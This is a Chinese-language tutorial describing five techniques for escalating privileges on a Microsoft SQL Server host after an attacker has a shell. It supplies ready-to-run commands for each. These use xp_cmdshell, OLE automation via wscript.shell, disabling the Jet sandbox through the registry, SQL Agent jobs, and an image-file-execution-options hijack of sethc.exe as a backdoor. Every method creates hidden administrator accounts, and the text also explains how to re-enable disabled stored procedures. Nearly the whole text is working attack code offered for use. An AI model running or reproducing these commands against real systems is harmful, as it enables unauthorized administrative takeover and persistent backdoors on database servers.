本文記錄針對SQL Server數據庫,在拿到shell之后進行提權的5種方法。
一、 xp_cmdshell提權
上面的數據庫連接需要知道sa的密碼,連接之后,在下面的sql命令處執行:
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
就能成功的創建一個賬戶aaa並且加到管理員組:
常見問題:
如果執行sql語句不成功,首先檢查判斷xp_cmdshell是否存在:
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
返回1是存在的,返回0則需要通過xplog70.dll恢復。
然后需要開啟xp_cmdshell
EXEC sp_configure 'show advanced options', 1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell', 1 ; --開啟xp_cmdshell,如果關閉,需要將這里的1改為"0"
RECONFIGURE ; --以上命令開啟用xp_cmdshell
這四條語句一起執行,然后語句中間沒有空格,執行后可啟用。
二、sp_oacreate和sp_oamethod提權
declare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';
以上語句也是在sql一起執行,語句中間沒有空格,但是執行可能會遇到問題:
我們需要開啟存儲過程:
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
以上語句也是在sql一起執行,語句中間沒有空格,如果存儲過程刪除的話需要利用odsole70.dll恢復存儲過程再執行。
這樣我們執行上面的語句之后就會創建一個hack的賬戶,並加到管理員組:
三、沙盒提權
這種提權是利用access的沙盒機制,關閉沙盒之后執行代碼。
首先用xp_regwrite這個存儲這個存儲過程對注冊表進行寫操作,關閉沙盒模式:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
然后利用sql語句添加一個帳號和密碼都為sql$的帳號,同時加入管理員組進行提權:
創建賬戶:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
添加到管理員組:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
然后就創建了賬戶:
遇到的問題:
SQL2005默認是禁用Ad Hoc Distributed,執行命令時,會提示錯誤。需要開啟
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
四、JOB提權
原理是創建一個任務x,並執行命令,命令執行后的結果,將返回給文檔q.txt
首先需要啟動sqlagent服務:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
然后創建任務X,這里x為任務名稱,並執行命令,命令執行后的結果,將返回給文本文檔q.txt
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
然后就可以看到已經創建了一個hack1的賬戶並加到了管理員組:
五、利用映像劫持提權
利用regwrite函數修改注冊表,起到劫持作用:
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
然后檢查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
返回沒有問題 利用遠程連接然后5次shift鍵,發現沒有啟動粘滯鍵,而是啟動了cmd,然后就可以創建用戶了